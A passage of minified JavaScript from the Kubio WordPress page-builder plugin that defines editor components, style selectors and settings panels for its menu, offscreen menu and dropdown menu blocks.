.kubio-menu-item-icon",supports:{styles:[jn.StylesEnum.SPACING],states:["normal"]}},[gS]:{label:(0,We.__)("Submenu","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL],filters:{[jn.StylesEnum.SPACING]:{supportsMargin:!1}}}},[yS]:{label:(0,We.__)("Submenu item","kubio"),selector:{[jn.StatesEnum.NORMAL]:"> .kubio-menu li > ul > li"},supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING},states:[jn.StatesEnum.NORMAL]}},[kS]:{label:(0,We.__)("Submenu item link","kubio"),selector:{[jn.StatesEnum.NORMAL]:"> .kubio-menu li > ul > li> .kubio-menu-item-link",[jn.StatesEnum.HOVER]:"> .kubio-menu li > ul > li > .kubio-menu-item-link:hover",[jn.StatesEnum.MENU_BUTTON_ACTIVE]:["> .kubio-menu li > ul > li.current-menu-item > .kubio-menu-item-link","> .kubio-menu li > ul > li.current_page_item > .kubio-menu-item-link"].join(",")},supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL,jn.StatesEnum.HOVER,jn.StatesEnum.MENU_BUTTON_ACTIVE]}},[fS]:{label:(0,We.__)("Submenu icon","kubio"),selector:"> .kubio-menu li > ul > li > .kubio-menu-item-link > svg.kubio-menu-item-icon",supports:{styles:[jn.StylesEnum.SPACING],states:["normal"]}},[_S]:{internal:!0},[vS]:{internal:!0}},CS=[{label:(0,We.__)("Main menu","kubio"),items:[dS,mS,hS,bS]},{label:(0,We.__)("Submenu","kubio"),items:[gS,yS,kS,fS]}],{horizontalAlignFlexOptions:IS}=ut.UIUtils,ES=(0,Ne.withComputedData)(((e,t)=>({menuItemsDataHelper:e.withClientId(t.menuItemsClientId)})))((({menuId:e,location:t,computed:o,menuClientId:n,menuName:a})=>{const{menuItemsDataHelper:i}=o,{menus:r,getBlock:s,getBlockParents:l}=(0,Le.useSelect)((e=>{const{getMenus:t,isResolving:o,hasFinishedResolution:n}=e("core"),{getBlock:a,getBlockParents:i}=e("core/block-editor"),r=[{per_page:-1}];return{getBlock:a,getBlockParents:i,menus:t(...r),isResolvingMenus:o("getMenus",r),hasResolvedMenus:n("getMenus",r)}})),{updateBlockAttributes:u}=(0,Le.useDispatch)("core/block-editor"),{updateLocationMenu:c}=(0,QT.useMenusLocations)(),{selectBlock:p}=(0,Le.useDispatch)("core/block-editor"),[d,m]=(0,Me.useState)(""),h=(0,Ne.useGroupDispatch)(),{saveMenu:b}=(0,Le.useDispatch)("core"),{openSidebar:g}=(0,Le.useDispatch)(Be.STORE_KEY)||{},{clearSelectedBlock:y}=(0,Le.useDispatch)("core/block-editor");let k=(0,Me.useMemo)((()=>(null==r?void 0:r.map((e=>({value:e.id,label:e.name}))))||[]),[r]),f=!0;return k.length<1&&(f=!1),e||(k=[{value:0,label:(0,We.__)("Select Menu","kubio")},...k]),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("General Options","kubio"),children:[(0,Je.jsxs)(Re.BaseControl,{children:[f&&(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Menu","kubio"),options:k,value:e,onChange:e=>{if(e=parseInt(e),(0,Ae.isEmpty)(t)){const t=s(n);if((null==t?void 0:t.name)===hn.DROPDOWN_MENU){const o=VS(t);h((()=>{i.setAttribute("id",e),o&&u(o,{id:e})}))}else{const t=l(n).map((e=>s(e))).find((e=>e.name===hn.DROPDOWN_MENU));if(t){const o=je().get(t,["innerBlocks","0","clientId"]);h((()=>{i.setAttribute("id",e),o&&u(o,{id:e})}))}else i.setAttribute("id",e)}}else c(t,e);p(n)}}),!f&&(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Menu name","kubio"),value:d,onChange:m,placeholder:(0,We.__)("Please set a name","kubio")})]}),g&&(0,Je.jsxs)(Re.BaseControl,{children:[f&&(0,Je.jsx)(Re.Button,{onClick:()=>{y(),setTimeout((()=>{(0,Ae.isFunction)(g)&&g(`document/menus-settings/menu-${e}`)}),500)},isPrimary:!0,className:"kubio-button-100",children:(0,We.__)("Edit menu structure","kubio")}),!f&&(0,Je.jsx)(Re.Button,{onClick:async()=>{const e=await b({name:d});i.setAttribute("id",parseInt(e.id)),(0,Ae.isEmpty)(t)||c(t,parseInt(e.id))},isPrimary:!0,className:"kubio-button-100",children:(0,We.__)("Create menu","kubio")})]}),a===hn.DROPDOWN_MENU&&(0,Je.jsx)(ut.HorizontalAlignControlWithPath,{path:"justifyContent",label:(0,We.__)("Button align","kubio"),options:IS,type:Ne.WithDataPathTypes.STYLE,style:dS}),(0,Je.jsx)(ut.ToggleControlWithPath,{path:"hideSubmenu",label:(0,We.__)("Show only first level","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE})]})})),TS="has-offcanvas-mobile",SS="has-offcanvas-tablet",wS="has-offcanvas-desktop",PS="has-offcanvas-none",AS=[{label:(0,We.__)("Mobile","kubio"),value:TS},{label:(0,We.__)("Mobile & tablet","kubio"),value:SS},{label:(0,We.__)("Mobile, tablet & desktop","kubio"),value:wS},{label:(0,We.__)("None","kubio"),value:PS}],jS=(0,Me.createContext)(),BS=({children:e})=>{const[t,o]=(0,Me.useState)(!1);return(0,Je.jsx)(jS.Provider,{value:{displayOffScreen:t,toggleDisplayOffscreen:o},children:e})},NS=()=>(0,Me.useContext)(jS),OS="offscreen",RS="offscreenOverlay",DS="iconWrapper",LS="icon",MS="align",WS={["container"]:{label:(0,We.__)("Container","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.BACKGROUND],states:["normal","hover"]}},[DS]:{label:(0,We.__)("Icon Wrapper","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.BACKGROUND],states:["normal","hover"]}},[OS]:{label:(0,We.__)("Offscreen Panel","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.PADDING],states:["normal"]}},[RS]:{label:(0,We.__)("Offscreen Overlay","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND],states:["normal"]}},[LS]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING],states:["normal","hover"]}},[MS]:{internal:!0}},HS={source:"menu",content:"offscreen"};function GS({toggleOffscreen:e,isOffScreenVisible:t}){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Re.Button,{onClick:e,isPrimary:!0,className:"kubio-button-100 mobile-menu-button",children:t?(0,We.__)("Hide mobile menu","kubio"):(0,We.__)("Show mobile menu","kubio")}),(0,Je.jsx)(lt.AvailableInPro,{displayModal:!1,urlArgs:HS})]})}const US=(0,De.compose)([Ne.WithNoAncestorContext,(0,Ne.withComputedData)(((e,t)=>{const o=e.withClientId(t.menuClientId),n=e.withClientId(t.clientId);return{menuContext:{dataHelper:o},offscreenPanelContext:{dataHelper:n},offscreenDataHelper:n,dropDownMenuDataHelper:o}}))])((({menuClientId:e,computed:t})=>{const{dropDownMenuDataHelper:o}=t,{displayOffScreen:n,toggleDisplayOffscreen:a}=NS(),{getBlockOrder:i,getBlock:r}=(0,Le.useSelect)((e=>{const{getBlockOrder:t,getBlock:o}=e("core/block-editor");return{getBlockOrder:t,getBlock:o}}),[]),{selectBlock:s}=(0,Le.useDispatch)("core/block-editor");let l=GS;return(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Offscreen Options","kubio"),initialOpen:n,children:(0,Je.jsxs)(Re.BaseControl,{children:[(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:e,children:(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Enable on","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"showOffscreenMenuOn",options:AS})})}),(0,Je.jsx)(l,{dropDownMenuDataHelper:o,toggleOffscreen:()=>{const e=!n;let t;const l=o.clientId;var u;e?t=null===(u=i(l).map((e=>r(e))).find((e=>e.name===hn.MENU_OFFSCREEN)))||void 0===u?void 0:u.clientId:t=l;s(t),a(e)},isOffScreenVisible:n})]})})})),FS=(0,De.compose)(nS)((({menuClientId:e,menuName:t,menuId:o,menuLocation:n,menuItemsClientId:a,offscreenClientId:i})=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:e,children:(0,Je.jsx)(ES,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,clientId:i})})}),t===hn.DROPDOWN_MENU&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:i,children:(0,Je.jsx)(US,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,offscreenClientId:i})})})]}))),zS=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(FS,{...e})}),VS=e=>{const t=(0,Ze.findBlockByName)(e,hn.ACCORDION_MENU);return t?je().get(t,["innerBlocks","0","clientId"]):null},YS=(0,De.compose)(nS,(0,Ne.withStyledElements)(),(0,Ne.withRedirectSelectionToParent)({skipKubioEditorCheck:!0,shouldIgnore:(e,t)=>!t.menuId}))((e=>{const{attributes:t,setAttributes:o,StyledElements:n,clientId:a,menuClientId:i,isSelected:r,displayPseudoSelectorsDiv:s,hideSubmenu:l}=e,{location:u,id:c}=t,p=JT(a,u),d=u||p,{getBlockParents:m,getBlock:h,getBlockRootClientId:b}=(0,Le.useSelect)((e=>{const{getBlockParents:t,getBlock:o,getBlockRootClientId:n}=e("core/block-editor");return{getBlockParents:t,getBlock:o,getBlockRootClientId:n}}),[]),g=(0,Ne.useUndoTrapDispatch)(),{updateBlockAttributes:y}=(0,Le.useDispatch)("core/block-editor"),k=(0,Ne.useGroupDispatch)(),f=(0,Me.useCallback)((e=>{e=parseInt(e)||0,k((()=>{o({id:e});const t=h(b(a));if(t.name===hn.DROPDOWN_MENU){const o=VS(t);y(o,{id:e})}}))}),[o]);(0,Me.useEffect)((()=>{if(!u){const e=h(b(a));if(e.name===hn.ACCORDION_MENU){const e=m(a).map((e=>h(e)));if(e.find((e=>e.name===hn.MENU_OFFSCREEN)))return}if(p&&(g((()=>y(a,{location:p}))),e.name===hn.DROPDOWN_MENU)){const t=VS(e);t&&g((()=>y(t,{location:p})))}}}),[g,a,p,u,y]);const _=(0,Je.jsx)(pS,{menuClientId:i,location:d,id:c,onChangeMenuId:f,clientId:a,displayPseudoSelectorsDiv:s,hideSubmenu:l});return r?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(zS,{}),(0,Je.jsx)(n.Outer,{children:_})]}):(0,Je.jsx)("div",{className:"kubio-menu kubio-block-wrapper wp-block-kubio-menu-items",children:_})})),$S={outer:{label:(0,We.__)("Main menu","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:[jn.StatesEnum.NORMAL,jn.StatesEnum.HOVER]}}};(0,Pe.addFilter)("kubio.savePresetInCloud.beforeSave","menuItems",(e=>(e.name!==hn.MENU_ITEMS||(je().unset(e,"attributes.location"),je().unset(e,"attributes.id")),e)));const KS={name:"kubio/menu-items",category:"kubio-basic",attributes:{location:{type:"string",default:""},id:{type:"number",default:0},kubio:{type:"object"}},supports:{kubio:{stylingDisabled:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-menu"]}}},template:{type:"element",props:{name:"outer"}},supports:{advanced:{responsive:!1}}}},usesContext:["kubio/hideSubmenu"]},qS=(0,Sn.extendBlockMeta)(KS,{title:(0,We.__)("Menu Items","kubio"),parent:[hn.DROPDOWN_MENU,hn.ACCORDION_MENU],icon:Tn.BlockIcons.MenuItem,apiVersion:2,supports:{kubio:{elementsByName:$S},reusable:!1,html:!1},edit:e=>(0,Je.jsx)(Le.AsyncModeProvider,{value:!0,children:(0,Je.jsx)(YS,{...e})})}),XS=(0,De.compose)(nS)((({menuClientId:e,menuName:t,menuId:o,menuLocation:n,menuItemsClientId:a,offscreenClientId:i})=>(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:i,children:[(0,Je.jsx)(W_,{withAlignControl:!0,withLinkControl:!1,styledContainer:MS,path:"icon"}),(0,Je.jsx)(US,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,clientId:i})]}))),QS=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(XS,{...e})}),ZS=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Mp,{styledElement:LS}),(0,Je.jsx)(Up,{styledElement:LS})]}),JS="kubio-offscreen-holder";let ew={offsetWidth:0,offsetHeight:0,offsetLeft:0,offsetTop:0},tw=null;const ow=e=>{if(!tw&&(tw=e.querySelector(".edit-site-visual-editor"),!tw))return;const{offsetWidth:t,offsetHeight:o,offsetLeft:n,offsetTop:a}=tw;if(t!==ew.offsetWidth||o!==ew.offsetHeight||a!==ew.offsetTop||n!==ew.offsetLeft){ew={offsetWidth:t,offsetHeight:o,offsetTop:a,offsetLeft:n};const i=e.querySelector(`.${JS}`);i&&(i.style.width=`${t}px`,i.style.height=`${o}px`,i.style.left=`${n}px`,i.style.top=`${a}px`)}},nw=new Map,aw=({children:e})=>{const{ownerDocument:t}=(0,Ne.useRootElementContext)()||{},o=(0,Me.useMemo)((()=>(e=>{if(!e)return null;const t=e.querySelector(".block-editor-block-list__layout");if(!t)return null;let o=e.querySelector(`.${JS}`);return o||(o=e.createElement("div"),o.setAttribute("class",JS),t.append(o),(e=>{nw.has(e)||e.defaultView!==top.window&&((0,Le.subscribe)((()=>ow(e))),new e.defaultView.ResizeObserver((()=>ow(e))).observe(e.body),nw.set(e,!0))})(e)),o})(t)),[t]);return o?(0,Me.createPortal)(e,o):(0,Je.jsx)(Je.Fragment,{})},iw=e=>{const{StyledElements:t,dataHelper:o}=e,{activeMedia:n,dropdownMenuOffcanvasSetting:a,dropdownMenuClientId:i}=rw(e),r=o.getAttribute("icon"),{displayOffScreen:s,toggleDisplayOffscreen:l}=NS(),{selectBlock:u}=(0,Le.useDispatch)("core/block-editor"),c=bn({},{templateLock:!1}),p={display:s?void 0:"none"},d=(0,Ne.useDataHelperDefaultOptionsContext)({defaultOptions:{ancestor:""}});return(0,Je.jsxs)(t.Container,{children:[(0,Je.jsx)(t.Align,{children:(0,Je.jsx)(t.IconWrapper,{children:(0,Je.jsx)(t.Icon,{tag:ut.CanvasIcon,name:r})})}),(0,Je.jsx)(aw,{children:s&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(t.OffscreenOverlay,{onClick:()=>{return e=!1,i&&(((e,t)=>{switch(e=e||TS){case TS:return"mobile"===t;case SS:return"mobile"===t||"tablet"===t;case wS:return!0;default:return!1}})(a,n)||u(i)),void l(e);var e},className:s?"h-offcanvas-opened":""}),(0,Je.jsx)(Ne.DataHelperDefaultOptionsContext.Provider,{value:d,children:(0,Je.jsx)(t.Offscreen,{...c,style:p})})]})})]})},rw=e=>{const{data:t}=(0,Le.useSelect)((t=>{const{getBlockParents:o,getBlocksByClientId:n}=t("core/block-editor"),{clientId:a}=e,i=o(a),r=(0,Ae.find)(n(i),{name:hn.DROPDOWN_MENU}),s=(0,Ne.getActiveMediaFromRegistry)(t);return{data:{dropdownMenuOffcanvasSetting:(0,Ae.get)(r,"attributes.showOffscreenMenuOn","has-offcanvas-mobile"),dropdownMenuClientId:null==r?void 0:r.clientId,activeMedia:s}}}),[]);return(0,Ne.useDeepMemo)((()=>t),[t])},sw=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)((()=>({[RS]:{className:["kubio-offscreen-overlay"].join(" ")},[DS]:{className:["kubio-offscreen-icon-wrapper"]}}))))((e=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(QS,{...e}),(0,Je.jsx)(ZS,{...e}),(0,Je.jsx)(iw,{...e})]}))),lw=(0,We.__)("Add your main web pages to a stylish accordion menu that will help your visitors find the content they need.","kubio"),uw=(e,t)=>{var o;return e&&(e.innerBlocks=null!=e&&null!==(o=e.innerBlocks)&&void 0!==o&&o.length?e.innerBlocks:[(0,Ne.composeBlockWithStyle)(hn.MENU_ITEMS,{},[],t)]),null!=e&&e.isDefault?{...e,description:lw}:e},cw=(e,t=!1)=>{var o,n;return{...e,innerBlocks:null!=e&&null!==(o=e.innerBlocks)&&void 0!==o&&o.length?e.innerBlocks:[(0,Ne.composeBlockWithStyle)(hn.ROW,{},[(0,Ne.composeBlockWithStyle)(hn.COLUMN,{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}}},[(0,Ne.composeBlockWithStyle)(hn.LOGO,{},[],t)],t)],t),(0,Ne.composeBlockWithStyle)(hn.ACCORDION_MENU,{style:{descendants:{"main-menu-a":{typography:{color:"rgba(var(--kubio-color-5),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1),1)"}},menuButtonActive:{typography:{color:"rgba(var(--kubio-color-1),1)"}}}}}}},null===(n=uw(null,t))||void 0===n?void 0:n.innerBlocks,t),(0,Ne.composeBlockWithStyle)(hn.ROW,{},[(0,Ne.composeBlockWithStyle)(hn.COLUMN,{},[(0,Ne.composeBlockWithStyle)(hn.COPYRIGHT,{},[],t)],t)],t)]}},pw=(e={},t=!1)=>{var o;return{...e,innerBlocks:null!=e&&null!==(o=e.innerBlocks)&&void 0!==o&&o.length?e.innerBlocks:[(0,Ne.composeBlockWithStyle)(hn.MENU_OFFSCREEN_CONTENT,{},cw(null,t).innerBlocks,t)]}},dw={name:"kubio/menu-offscreen",category:"kubio-basic",attributes:{kubio:{type:"object"},openSide:{type:"string",default:"right"},icon:{type:"string",default:"font-awesome/navicon"}},supports:{kubio:{default:{style:{descendants:{offscreen:{background:{color:"#222B34"},width:{value:300,unit:"px",important:!0}},offscreenOverlay:{background:{color:"rgba(0,0,0,0.5)"}},icon:{background:{color:"rgba(0, 0, 0, 0.1)"},border:{top:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"},left:{width:{value:"0",unit:"px"},style:"solid",color:"black"},right:{width:{value:"0",unit:"px"},style:"solid",color:"black"},bottom:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"}},fill:"white",padding:{top:{unit:"px",value:"5"},bottom:{unit:"px",value:"5"},left:{unit:"px",value:"5"},right:{unit:"px",value:"5"}},width:{unit:"px",value:"24"},height:{unit:"px",value:"24"}}}}},elementsEnum:{CONTAINER:"container",OFFSCREEN:"offscreen",OFFSCREEN_OVERLAY:"offscreenOverlay",ICON_WRAPPER:"iconWrapper",ICON:"icon",ALIGN:"align"},elementsByName:{container:{wrapper:!0},iconWrapper:{props:{tag:"button",className:["kubio-offscreen-icon-wrapper"]}},icon:{default:!0,props:{tag:"icon"}},offscreen:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen","offscreen"]}},offscreenOverlay:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen-overlay"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"align"},children:[{type:"element",props:{name:"iconWrapper"},children:[{type:"element",props:{name:"icon"}}]}]},{type:"element",props:{name:"offscreenOverlay"}},{type:"element",props:{name:"offscreen"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},mw=(0,Sn.extendBlockMeta)(dw,{title:(0,We.__)("Offscreen Menu","kubio"),parent:[hn.DROPDOWN_MENU],icon:Tn.BlockIcons.Offscreen,apiVersion:2,supports:{kubio:{elementsByName:WS},reusable:!1,html:!1},edit:sw,save:()=>(0,Je.jsx)(st.InnerBlocks.Content,{}),variationsFilter:pw}),hw=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)())((e=>{const{StyledElements:t,isSelected:o}=e,n=(0,Me.useRef)(),a=bn({ref:n},{templateLock:!1});return(0,Je.jsxs)(Je.Fragment,{children:[o&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(QS,{...e}),(0,Je.jsx)(ZS,{...e})]}),(0,Je.jsx)(t.Container,{...a,ref:n})]})})),bw={container:{label:(0,We.__)("Container","kubio"),supports:{styles:[],states:["normal","hover"]}}},gw={name:"kubio/menu-offscreen-content",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},yw=(0,Sn.extendBlockMeta)(gw,{title:(0,We.__)("Offscreen Menu Content","kubio"),parent:[hn.MENU_OFFSCREEN],icon:Tn.BlockIcons.Offscreen,apiVersion:2,supports:{kubio:{elementsByName:bw},reusable:!1,html:!1},edit:hw,save:()=>(0,Je.jsx)(st.InnerBlocks.Content,{}),displayAdvancedPanelFor:(e,t)=>{const{getBlockParents:o,getBlock:n}=t("core/block-editor");return o(e).map((e=>{const t=n(e);return-1!==[hn.MENU_OFFSCREEN].indexOf(t.name)&&t})).filter(Boolean).pop().clientId}}),kw=(0,We.__)("Add your main web pages and products to a stylish dropdown menu with this Gutenberg block.","kubio"),fw="none",_w="bordered-active-item bordered-active-item--bottom",vw="bordered-active-item bordered-active-item--top",xw="bordered-active-item bordered-active-item--top-and-bottom",Cw="solid-active-item",Iw=[_w,vw,xw],Ew=[Cw];let Tw=[{label:(0,We.__)("None","kubio"),value:fw},{label:(0,We.__)("Bottom line","kubio"),value:_w},{label:(0,We.__)("Top line","kubio"),value:vw},{label:(0,We.__)("Double line","kubio"),value:xw},{label:(0,We.__)("Background","kubio"),value:Cw}];const Sw=[fw,_w];Tw=(0,lt.addProTagToItems)(Tw,Sw);const ww=[{label:(0,We.__)("Drop in","kubio"),value:"effect-borders-in"},{label:(0,We.__)("Drop out","kubio"),value:"effect-borders-out"},{label:(0,We.__)("Grow from left","kubio"),value:"effect-borders-grow grow-from-left"},{label:(0,We.__)("Grow from right","kubio"),value:"effect-borders-grow grow-from-right"},{label:(0,We.__)("Grow from center","kubio"),value:"effect-borders-grow grow-from-center"},{label:(0,We.__)("None","kubio"),value:"effect-none"}],Pw=[{label:(0,We.__)("Grow up","kubio"),value:"solid-active-item effect-pull-up"},{label:(0,We.__)("Grow down","kubio"),value:"solid-active-item effect-pull-down"},{label:(0,We.__)("Grow left","kubio"),value:"effect-pull-left"},{label:(0,We.__)("Grow right","kubio"),value:"effect-pull-right"},{label:(0,We.__)("Shutter in horizontal","kubio"),value:"solid-active-item effect-pull-up-down"},{label:(0,We.__)("Shutter out horizontal","kubio"),value:"solid-active-item effect-pull-up-down-reverse"},{label:(0,We.__)("Shutter in vertical","kubio"),value:"solid-active-item effect-pull-left-right"},{label:(0,We.__)("Shutter out vertical","kubio"),value:"solid-active-item effect-pull-left-right-reverse"},{label:(0,We.__)("None","kubio"),value:"solid-active-item effect-none"}],Aw="outer",jw="hover-effect-border",Bw="hover-effect-background",Nw={[Aw]:{label:(0,We.__)("Menu container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:["normal"]}},[jw]:{internal:!0,selector:["::before","::after"].map((e=>`&.bordered-active-item .kubio-menu > ul > li > .kubio-menu-item-link > .kubio-menu-item-link-editor-before-after${e}`)).join(",")},[Bw]:{internal:!0,selector:["::before","::after"].map((e=>`&.solid-active-item .kubio-menu > ul > li > .kubio-menu-item-link > .kubio-menu-item-link-editor-before-after${e}`)).join(",")},...xS},Ow=({dataHelper:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:Bw},o=((t,o=Bw)=>null==e?void 0:e.getStyle(t,"",{type:Ne.WithDataPathTypes.STYLE,styledComponent:o}))("border.top.radius.left.value");return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Button hover effect","kubio"),path:"hoverEffect.background.effect",type:Ne.WithDataPathTypes.PROP,options:Pw}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{path:"background",label:(0,We.__)("Background Color","kubio"),...t}),(0,Je.jsx)(ut.RangeControl,{label:(0,We.__)("Rounded corners","kubio"),value:o,onChange:t=>{((t,o,n=Bw)=>{null==e||e.setStyle(t,o,{type:Ne.WithDataPathTypes.STYLE,styledComponent:n})})("border",(0,Ae.isObject)(t)?t:{top:{radius:{left:{value:t,unit:"px"},right:{value:t,unit:"px"}}},bottom:{radius:{right:{value:t,unit:"px"},left:{value:t,unit:"px"}}}})},capMin:!0,min:0,max:100})]})},Rw=(0,De.compose)((0,Ne.withComputedData)(((e,t)=>({menuContext:{dataHelper:e.withClientId(t.menuClientId)},menuItemsContext:{dataHelper:e.withClientId(t.menuItemsClientId)}}))),(0,Ne.withObserveOtherBlocks)(((e,{menuClientId:t})=>t)))((e=>{const{dataHelper:t}=e,o=((e,o,n={})=>null==t?void 0:t.getProp(e,o,n))("hoverEffect.type",fw),n={type:Ne.WithDataPathTypes.STYLE,style:jw},a=(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Button hover effect","kubio"),path:"hoverEffect.border.effect",type:Ne.WithDataPathTypes.PROP,options:ww}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{path:"background",label:(0,We.__)("Line Color","kubio"),...n}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Line thickness","kubio"),...n,max:100,path:"height"})]});return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Main menu effect","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Button highlight type","kubio"),options:Tw,path:"hoverEffect.type",type:Ne.WithDataPathTypes.PROP}),o!==fw&&(0,Je.jsxs)(Je.Fragment,{children:[-1!==Iw.indexOf(o)&&a,-1!==Ew.indexOf(o)&&(0,Je.jsx)(Ow,{...e})]})]})})),Dw=[{label:(0,We.__)("Normal","kubio"),value:"normal"},{label:(0,We.__)("Hover","kubio"),value:"hover"},{label:(0,We.__)("Active","kubio"),value:"menuButtonActive"}],Lw=[{label:(0,We.__)("None","kubio"),value:"none"},{label:(0,We.__)("Solid","kubio"),value:"solid"},{label:(0,We.__)("Dashed","kubio"),value:"dashed"},{label:(0,We.__)("Dotted","kubio"),value:"dotted"},{label:(0,We.__)("Double","kubio"),value:"double"},{label:(0,We.__)("Groove","kubio"),value:"groove"},{label:(0,We.__)("Ridge","kubio"),value:"ridge"},{label:(0,We.__)("Inset","kubio"),value:"inset"},{label:(0,We.__)("Outset","kubio"),value:"outset"}],Mw=(0,De.compose)((0,Ne.withComputedData)(),(0,Ne.withObserveOtherBlocks)(((e,{menuClientId:t})=>t)))((({menuName:e,menuClientId:t,dataHelper:o})=>{const[n,a]=(0,op.useSessionProp)(t,"main_button_state","normal"),i={type:Ne.WithDataPathTypes.STYLE,style:hS,state:"normal"===n?void 0:n},r=(e,t,n=mS)=>null==o?void 0:o.getStyle(`${e}.${t}`,"",{type:Ne.WithDataPathTypes.STYLE,styledComponent:n}),s=(e,t=mS)=>null==o?void 0:o.getStyle(e,"",{type:Ne.WithDataPathTypes.STYLE,styledComponent:t}),l=(e,t,n=mS)=>a=>{const i=null==o?void 0:o.getStyle(e),r={};a={unit:"px",value:"",...a},t.forEach((e=>r[e]=a)),o.setStyle(e,{...i,...r},{type:Ne.WithDataPathTypes.STYLE,styledComponent:n})};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Main menu buttons","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{options:Dw,value:n,onChange:a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background Color","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"background.color",...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text Color","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"typography.color",...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...i,state:"normal"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),e===hn.DROPDOWN_MENU&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Space between buttons","kubio"),path:"gap",type:Ne.WithDataPathTypes.STYLE,style:dS}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Button horizontal padding","kubio"),value:r("padding","left",hS),onChange:l("padding",["left","right"],hS)}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Button vertical padding","kubio"),value:r("padding","top",hS),onChange:l("padding",["top","bottom"],hS)}),e===hn.ACCORDION_MENU&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Divider","kubio"),options:Lw,path:"border.bottom.style",...i,state:"normal"}),"none"!==s("border.bottom.style",hS)&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Divider 